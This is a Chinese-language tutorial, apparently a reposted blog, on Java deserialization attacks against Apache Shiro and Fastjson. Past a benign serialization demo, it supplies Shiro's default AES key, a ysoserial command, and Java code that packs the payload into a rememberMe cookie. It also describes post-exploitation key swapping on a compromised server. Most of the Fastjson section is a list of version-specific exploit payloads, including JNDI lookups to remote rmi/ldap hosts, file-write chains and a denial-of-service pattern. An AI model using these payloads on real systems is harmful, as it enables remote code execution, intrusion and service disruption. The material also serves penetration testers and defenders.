什么是序列化与反序列化
Java 序列化是指把 Java 对象转换为字节序列的过程。
Java 反序列化是指把字节序列恢复为 Java 对象的过程。
序列化的作用
实现了数据的持久化,通过序列化可以把数据永久的保存在硬盘上。
利用序列化实现远程通信,即在网络上传递对象的字节序列。
序列化与反序列化实现
JDK 类库中的序列化 API: 使用到 JDK 中关键类 ObjectOutputStream(对象输出流) 和 ObjectInputStream(对象输入流) ObjectOutputStream 类中:通过使用 writeObject(Object object) 方法,将对象以二进制格式进行写入。 ObjectInputStream 类中:通过使用 readObject()方法,从输入流中读取二进制流,转换成对象。
目标对象实现 Serializable 接口 新建一个 Users 类,实现 Serializable 接口,并且生成版本号
package org.joychou.test;
import java.io.Serializable;
public class Users implements Serializable {
private static final long serialVersionUID = 3919559144903359124L; private int age; private String name; private String sex;
public int getAge() { return age; }
public String getName() { return name; }
public String getSex() { return sex; }
public void setAge(int age) { this.age = age; }
public void setName(String name) { this.name = name; }
public void setSex(String sex) { this.sex = sex; }
@Override public String toString() { return "Users{" + "age=" + age + ", name='" + name + '\'' + ", sex='" + sex + '\'' + '}'; }}
复制代码
serialVersionUID 序列化版本号的作用是用来区分我们所编写的类的版本,取值是 Java 运行时环境根据类的内部细节自动生成的。如果对类的源代码作了修改,再重新编译,新生成的类文件的 serialVersionUID 的取值有可能也会发生变化。
【一一帮助安全学习,所有资源获取处一一】
①网络安全学习路线
②20 份渗透测试电子书
③安全攻防 357 页笔记
④50 份安全攻防面试指南
⑤安全红队渗透工具包
⑥信息收集 80 条搜索语法
⑦100 个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年 CTF 夺旗赛题解析
序列化和反序列化 Person 类对象
package org.joychou.test;
import java.io.*;
public class TestObjSerializeAndDeserialize { public static void main(String[] args) throws IOException, ClassNotFoundException { TestObjSerializeAndDeserialize.SerializeUsers(); TestObjSerializeAndDeserialize.DeserializeUsers(); }
private static void SerializeUsers() throws IOException { Users users = new Users(); users.setAge(20); users.setName("Tom"); users.setSex("male"); ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("/Users/xxxx/Desktop/Users.ser")); objectOutputStream.writeObject(users); System.out.println("序列化完成!"); objectOutputStream.close(); }
private static void DeserializeUsers() throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("Users/xxxx/Desktop/Users.ser")); Users users = (Users) objectInputStream.readObject(); System.out.println("反序列化完成"); System.out.println(users.toString()); }}
复制代码
结果: [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jrVLtf27-1657698173516)(https://upload-images.jianshu.io/upload_images/26472780-81e78b2eeef38dcf.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)]
cat 查看序列化后的二进制文件数据,Java 的为乱码
0x01 常见的存在反序列化漏洞框架
Shiro
Shiro 是一款轻量化的权限管理框架,能够较方便的实现用户验权,请求拦截等功能,同类型的框架是我们的 Spring Security ,相比之下 Spring Security 提供了更多的功能,我们这里来简单的介绍一下 Shiro 架构中主要有三个核心的概念:Subject, SecurityManager, Realms
Subject:代表当前的用户 SecurityManager:管理者所有的 Subject ,在官方文档中描述其为 Shiro 架构的核心 Realms:SecurityManager 的认证和授权需要使用 Realm,Realm 负责获取用户的权限和角色等信息,再返回给 SecurityManager 来进行判断,在配置 Shiro 的时候,我们必须指定至少一个 Realm 来实现认证(authentication)和/或授权(authorization) 我们需要实现 Realms 的 Authentication 和 Authorization。其中 Authentication 是用来验证用户身份,Authorization 是授权访问控制,用于对用户进行的操作授权,证明该用户是否允许进行当前操作,如访问某个链接,某个资源文件等 下面是自己实现的 Realm,这里我们实现了认证的方法 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-spuyV99P-1657698173528)(https://upload-images.jianshu.io/upload_images/26472780-2aa78494808fb11b.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)]
这里的 getPrincipal 其实就是获取我们登录的用户名,getCredentials 其实就是我们登录的密码
我们这里的逻辑大致就是 如果获取到的用户名等于 admin 同时密码也为 admin 那么就返回 AuthenticationInfo AuthenticationInfo 会携带存储起来的正确的用户认证信息,用来与用户提交的信息进行比对,如果信息不匹配,那么会认证失败
Shiro-550 漏洞原理
在 Shiro 框架下,用户登陆成功后会生成一个经过加密的 Cookie。其 Cookie 的 Key 的值为 RememberMe,Value 的值是经过序列化、AES 加密和 Base64 编码后得到的结果。 服务端在接收到一个 Cookie 时,会按照如下步骤进行解析处理:
检索 RememberMe Cookie 的值
进行 Base64 解码
进行 AES 解码
进行反序列化操作,sink 点 readObject()。
在第 4 步中的调用反序列化时未进行任何过滤,进而可以导致出发远程代码执行漏洞。 由于使用了 AES 加密,成功利用该漏洞需要获取 AES 的加密密钥,在 Shiro1.2.4 版本之前 AES 的加密密钥为硬编码,其默认密钥的 Base64 编码后的值为 kPH+bIxk5D2deZiIxcaaaA==
漏洞检测
Shiro 主要检测思路有三种
第一种是使用 yso 下的 URLDNS 利用链进行检测
第二种是使用 yso 下 cc 利用链进行盲打,生成 ping dnslog payload,如果 key 正确,dnslog 会收到请求
前面两种思路都是使用 dnslog 进行测试,但是如果我们的目标不出网的情况下,只能使用 CC 链盲打,判断延迟。这种情况也会存在一些小问题,如果目标不出网,同时利用链不是 CC 的情况下,我们就会错过一些漏洞。其实在很多的文章里面都提到了一种思路,构造一个继承 PrincipalCollection 的序列化对象(SimplePrincipalCollection),将我们的 payload 放进 rememberMe 里面,key 正确情况下 Set-Cookie 不返回 deleteMe,key 错误情况下 Set-Cookie 返回 deleteMe。
原理: 首先看一下为什么当 key 错误时,Set-Cookie 会返回 deleteMe。 找到我们的shiro-core/1.2.4/shiro-core-1.2.4.jar!/org/apache/shiro/mgt/AbstractRememberMeManager.class,这个类主要是用来处理 rememberMe 的逻辑代码,核心点在AbstractRememberMeManager#getRememberedPrincipals这段代码中。
在 118 行设置断点 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-WqqHHN1V-1657698173537)(https://upload-images.jianshu.io/upload_images/26472780-8872e26521024ee0.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)]
下面我们开始 debug,启动项目
下面我们分别来看两种情况
当 AES 的 key 不正确的情况下
把 rememberMe 的值改成 1
调用convertBytesToPrincipals方法,跟进convertBytesToPrincipals方法
发现 137 行调用了 decrypt 解密
然后 167 行接着调用解密
AES 解密算法,因为我们的 key 错误,这里直接抛异常了
直接被上一部分的代码捕捉到
跟进我们的核心代码onRememberedPrincipalFailure方法,继续跟进forgetIdentity方法
在forgetIdentity方法当中从subjectContext对象获取request和response,继续由forgetIdentity(HttpServletRequest request, HttpServletResponse response)这个构造方法处理。
跟进forgetIdentity(HttpServletRequest request, HttpServletResponse response),看到一个removeFrom方法。
继续跟进removeFrom方法,发现了给我们的Cookie增加deleteMe字段的位置了
结果:
key 正确的情况下,不返回deleteMe,可以自行调试 key 正确,会使用deserialize方法进行反序列化,PrincipalCollection是个接口 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rKT2BGQn-1657698173570)(https://upload-images.jianshu.io/upload_images/26472780-a09832e0cb00364f.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)]
所以我们需要构造一个继承PrincipalCollection的序列化对象 Poc:
SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection();ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream("payload"));obj.writeObject(simplePrincipalCollection);obj.close();
复制代码
漏洞复现
使用 SpringBoot,Shiro-1.2.24 搭建测试环境
因为 yso 中使用的是 commons-beanutils-1.9.2,而 shiro core 中使用的是 commons-beanutils1.8.3,我们使用改造后的 ysoserial 生成 CommonsBeanutils_183 的 Gadget
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils_183 "open -a Calculator" > poc.ser
复制代码
使用 Shiro 内置的默认密钥对 Payload 进行加密:
package ysoserial.util;
import org.apache.shiro.crypto.AesCipherService;import org.apache.shiro.codec.CodecSupport;import org.apache.shiro.util.ByteSource;import org.apache.shiro.codec.Base64;
import java.nio.file.FileSystems;import java.nio.file.Files;
public class AESencode { public static void main(String[] args) throws Exception { byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("/Users/xxxxx/ysoserial-new/poc.ser"));
AesCipherService aes = new AesCipherService(); byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));
ByteSource ciphertext = aes.encrypt(payloads, key); System.out.printf(ciphertext.toString()); }}
复制代码
发送生成的 rememberMe Cookie,命令执行成功:
Shiro 后渗透-使用 Agent 技术修改 key
什么是 java agent?
在 JDK1.5 以后,我们可以使用 agent 技术构建一个独立于应用程序的代理程序(即为 Agent),用来协助监测、运行甚至替换其他 JVM 上的程序。Agent 分为两种,一种是在主程序之前运行的 Agent,一种是在主程序之后运行的 Agent(前者的升级版,1.6 以后提供)。
学习 Java Agent 除了可以做RASP等产品,我们还可以做一些趣味性事情,比如我们可以使用 Agent 机制实现 Java 商业软件破解,我们常用的IntelliJ IDEA破解工具就是使用 Agent 方式动态修改 License 类校验逻辑来实现破解的。
为什么要获取 shiro 的 key?
可以方便我们快速的实现内网横向,毕竟 shiro 这个漏洞利用已经非常非常成熟了。
可以将这个 key 加入我们 key 字典中,方便之后的项目中测试。
如果我们修改 key,但我们一失手忘记掉了 key,也还要补救的措施。
如果点掉了,可以通过 shiro 这个入口快速重新切进去。
使用 demo 环境进行测试:
首先可以确定环境的 key 是默认的,并且是可以执行命令的。
上传 AgentInjectTool 到目标服务器,执行命令java -jar AgentInjectTool.jar list,获取 shiro 环境启动的 pid.
执行命令java -jar AgentInjectTool.jar inject {pid} {file.txt|shirokey}
触发获取 key 操作,需要我们手动发送请求登录请求,无论正确与否均可。比例说使用工具的检测当前密钥功能
生成新 key,尝试注入
新 key 测试成功
修改 shirokey 原理:
通过 Java Agent,我们可以 hook 想要的所有类,并且也能修改其代码逻辑,加入自己想要的功能。修改 shiro 的 key 需要调用内存中的 AbstractRememberMeManager 对象的 setCipherKey 方法,才能实现修改 shiro 的 key 的目的。
缺点: 由于已经用了新 key,已登录的用户会话会失效,导致影响业务,慎重使用。
Fastjson
漏洞原理
FastJson 在解析 json 的过程中,支持使用 autoType 来实例化某一个具体的类,并调用该类的 set/get 方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
autotype 功能:允许用户在反序列化数据中通过“@type”指定反序列化的 Class 类型。
通俗理解就是:漏洞利用 fastjson autotype 在处理 json 对象的时候,未对 @type 字段进行完全的安全性验证,攻击者可以传入危险类,并调用危险类连接远程 rmi 主机,通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞的利用,获取服务器的敏感信息泄露,甚至可以利用此漏洞进一步对服务器数据进行修改,增加,删除等操作,对服务器造成巨大影响。
AutoType 黑名单机制 既然 Json 串中传入指定不可靠第三方 Type 类时是有被攻击风险的,自然最简单的做法就是在反序列化时首先校验传入的 Class 是否在黑名单 Class 列表中,FastJson 中通过 Hash 算法,将一系列存在安全风险的 Class 全路径的 Hash 值存储在黑名单中,代码如下
Fastjson 低版本 1.2.25-1.2.42 明文黑名单。
判断 fastjson 和 jackson
如果请求包中的 json 如下:
{"name":"S", "age":21}追加一个随机 key ,修改 json 为{"name":"S", "age":21,"agsbdkjada__ss_d":123}
复制代码
这里 fastjson 是不会报错的
Jackson 因为强制 key 与 javabean 属性对齐,只能少不能多 key,所以会报错,服务器的响应包中多少会有异常回显
漏洞 poc
有回显 如果站点有原始报错回显,可以用不闭合花括号的方式进行报错回显,报错中往往会有 fastjson 的字样
无回显,通过 DNS 回显的方式盲区分 Fastjson 和 Jackson,使用以下 payload 测试
{"zeo":{"@type":"java.net.Inet4Address","val":"745shj.dnslog.cn"}}
复制代码
最新版本 1.2.67 依然可以通过 dnslog 判断后端是否使用 fastjson
{"@type":"java.net.Inet4Address","val":"dnslog"}{"@type":"java.net.Inet6Address","val":"dnslog"}
复制代码
畸形的
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
复制代码
嵌套在里面 zeo 里面
{"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}}
复制代码
{"@type":"java.net.Inet4Address","val":"dnslog"} {"@type":"java.net.Inet6Address","val":"dnslog"} {"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}} {"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""} {{"@type":"java.net.URL","val":"dnslog"}:"aaa"} Set[{"@type":"java.net.URL","val":"dnslog"}] Set[{"@type":"java.net.URL","val":"dnslog"} {{"@type":"java.net.URL","val":"dnslog"}:
复制代码
通过 DOS 延迟方式判断
Fastjson1.2.36 - 1.2.62 正则表达式拒绝服务漏洞
{"regex"%3a{"$ref"%3a"$[blue+rlike+'^[a-zA-Z]%2b(([a-zA-Z+])%3f[a-zA-Z]*)*$']"},"blue"%3a"aaaaaaaaaaaaaaaaaaaaaaaaaaaa!"}
复制代码
Fastjson < 1.2.60 在取不到值的时候会填充\u001a,使用{"a:"\x进行请求就会发生 DOS
漏洞 exp
多版本 payload 影响版本:fastjson<=1.2.24 exp:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://x.x.x.x:1099/jndi", "autoCommit":true}
复制代码
影响版本:fastjson<=1.2.41 前提:autoTypeSupport 属性为 true 才能使用。(fastjson>=1.2.25 默认为 false) exp:
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://x.x.x.x:1098/jndi", "autoCommit":true}
复制代码
影响版本:fastjson<=1.2.42 前提:autoTypeSupport 属性为 true 才能使用。(fastjson>=1.2.25 默认为 false) exp:
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1399/Exploit", "autoCommit":true}
复制代码
影响版本:fastjson<=1.2.43 前提:autoTypeSupport 属性为 true 才能使用。(fastjson>=1.2.25 默认为 false) exp:
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://localhost:1399/Exploit", "autoCommit":true}
复制代码
影响版本:fastjson<=1.2.45 前提:autoTypeSupport 属性为 true 才能使用。(fastjson>=1.2.25 默认为 false) exp:
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data\_source":"ldap://localhost:1399/Exploit"}}
复制代码
影响版本:fastjson<=1.2.47 exp:
{ "a": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "b": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://x.x.x.x:1999/Exploit", "autoCommit": true }}
复制代码
影响版本:fastjson<=1.2.62 exp:
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1098/exploit"}"
复制代码
影响版本:fastjson<=1.2.66 前提:autoTypeSupport 属性为 true 才能使用。(fastjson>=1.2.25 默认为 false) exp:
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1399/Calc"}}
复制代码
影响版本:fastjson<=1.2.68 JRE 8 下的写文件利用链 PoC,这个利用链仅仅存在 centos 中,sun.rmi.server.MarshalOutputStream 在 win 下是没有的
{ "x":{ "@type":"java.lang.AutoCloseable", "@type":"sun.rmi.server.MarshalOutputStream", "out":{ "@type":"java.util.zip.InflaterOutputStream", "out":{ "@type":"java.io.FileOutputStream", "file":"/tmp/dest.txt", "append":false }, "infl":{ "input":"eJwL8nUyNDJSyCxWyEgtSgUAHKUENw==" }, "bufLen":1048576 }, "protocolVersion":1 }}
复制代码
commons-io 2.0 - 2.6 版本:
{ "x":{ "@type":"com.alibaba.fastjson.JSONObject", "input":{ "@type":"java.lang.AutoCloseable", "@type":"org.apache.commons.io.input.ReaderInputStream", "reader":{ "@type":"org.apache.commons.io.input.CharSequenceReader", "charSequence":{"@type":"java.lang.String""aaaaaa...(长度要大于8192,实际写入前8192个字符)" }, "charsetName":"UTF-8", "bufferSize":1024 }, "branch":{ "@type":"java.lang.AutoCloseable", "@type":"org.apache.commons.io.output.WriterOutputStream", "writer":{ "@type":"org.apache.commons.io.output.FileWriterWithEncoding", "file":"/tmp/pwned", "encoding":"UTF-8", "append": false }, "charsetName":"UTF-8", "bufferSize": 1024, "writeImmediately": true }, "trigger":{ "@type":"java.lang.AutoCloseable", "@type":"org.apache.commons.io.input.XmlStreamReader", "is":{ "@type":"org.apache.commons.io.input.TeeInputStream", "input":{ "$ref":"$.input" }, "branch":{ "$ref":"$.branch" }, "closeBranch": true }, "httpContentType":"text/xml", "lenient":false, "defaultEncoding":"UTF-8" }, "trigger2":{ "@type":"java.lang.AutoCloseable", "@type":"org.apache.commons.io.input.XmlStreamReader", "is":{ "@type":"org.apache.commons.io.input.TeeInputStream", "input":{ "$ref":"$.input" }, "branch":{ "$ref":"$.branch" }, "closeBranch": true }, "httpContentType":"text/xml", "lenient":false, "defaultEncoding":"UTF-8" }, "trigger3":{ "@type":"java.lang.AutoCloseable", "@type":"org.apache.commons.io.input.XmlStreamReader", "is":{ "@type":"org.apache.commons.io.input.TeeInputStream", "input":{ "$ref":"$.input" }, "branch":{ "$ref":"$.branch" }, "closeBranch": true }, "httpContentType":"text/xml", "lenient":false, "defaultEncoding":"UTF-8" } }}
复制代码
commons-io 2.7 - 2.8.0 版本:
{ "x":{ "@type":"com.alibaba.fastjson.JSONObject", "input":{ "@type":"java.lang.AutoCloseable", "@type":"org.apache.commons.io.input.ReaderInputStream", "reader":{ "@type":"org.apache.commons.io.input.CharSequenceReader", "charSequence":{"@type":"java.lang.String""aaaaaa...(长度要大于8192,实际写入前8192个字符)", "start":0, "end":2147483647 }, "charsetName":"UTF-8", "bufferSize":1024 }, "branch":{ "@type":"java.lang.AutoCloseable", "@type":"org.apache.commons.io.output.WriterOutputStream", "writer":{ "@type":"org.apache.commons.io.output.FileWriterWithEncoding", "file":"/tmp/pwned", "charsetName":"UTF-8", "append": false }, "charsetName":"UTF-8", "bufferSize": 1024, "writeImmediately": true }, "trigger":{ "@type":"java.lang.AutoCloseable", "@type":"org.apache.commons.io.input.XmlStreamReader", "inputStream":{ "@type":"org.apache.commons.io.input.TeeInputStream", "input":{ "$ref":"$.input" }, "branch":{ "$ref":"$.branch" }, "closeBranch": true }, "httpContentType":"text/xml", "lenient":false, "defaultEncoding":"UTF-8" }, "trigger2":{ "@type":"java.lang.AutoCloseable", "@type":"org.apache.commons.io.input.XmlStreamReader", "inputStream":{ "@type":"org.apache.commons.io.input.TeeInputStream", "input":{ "$ref":"$.input" }, "branch":{ "$ref":"$.branch" }, "closeBranch": true }, "httpContentType":"text/xml", "lenient":false, "defaultEncoding":"UTF-8" }, "trigger3":{ "@type":"java.lang.AutoCloseable", "@type":"org.apache.commons.io.input.XmlStreamReader", "inputStream":{ "@type":"org.apache.commons.io.input.TeeInputStream", "input":{ "$ref":"$.input" }, "branch":{ "$ref":"$.branch" }, "closeBranch": true }, "httpContentType":"text/xml", "lenient":false, "defaultEncoding":"UTF-8" } }
复制代码
总结:
jndi(需要出网)
JdbcRowSetImpl
C3p0#JndiRefForwardingDataSource
JndiDataSourceFactory
shiro#JndiObjectFactory
shiro#JndiRealmFactory
BCEL(不出网利用。 需要注意在 Java 8u251 以后,bcel 类被删除) BCEL 的全名应该是 Apache Commons BCEL,属于 Apache Commons 项目下的一个子项目,BCEL 库提供了一系列用于分析、创建、修改 Java Class 文件的 API。就这个库的功能来看,其使用面远不及同胞兄弟们,但是他比 Commons Collections 特殊的一点是,它被包含在了原生的 JDK 中,位于com.sun.org.apache.bcel Poc:
{ { "aaa": { "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource", //这里是tomcat>8的poc,如果小于8的话用到的类是 //org.apache.tomcat.dbcp.dbcp.BasicDataSource "driverClassLoader": { "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader" }, "driverClassName": "$$BCEL$$$l$8b$I$A$..."
评论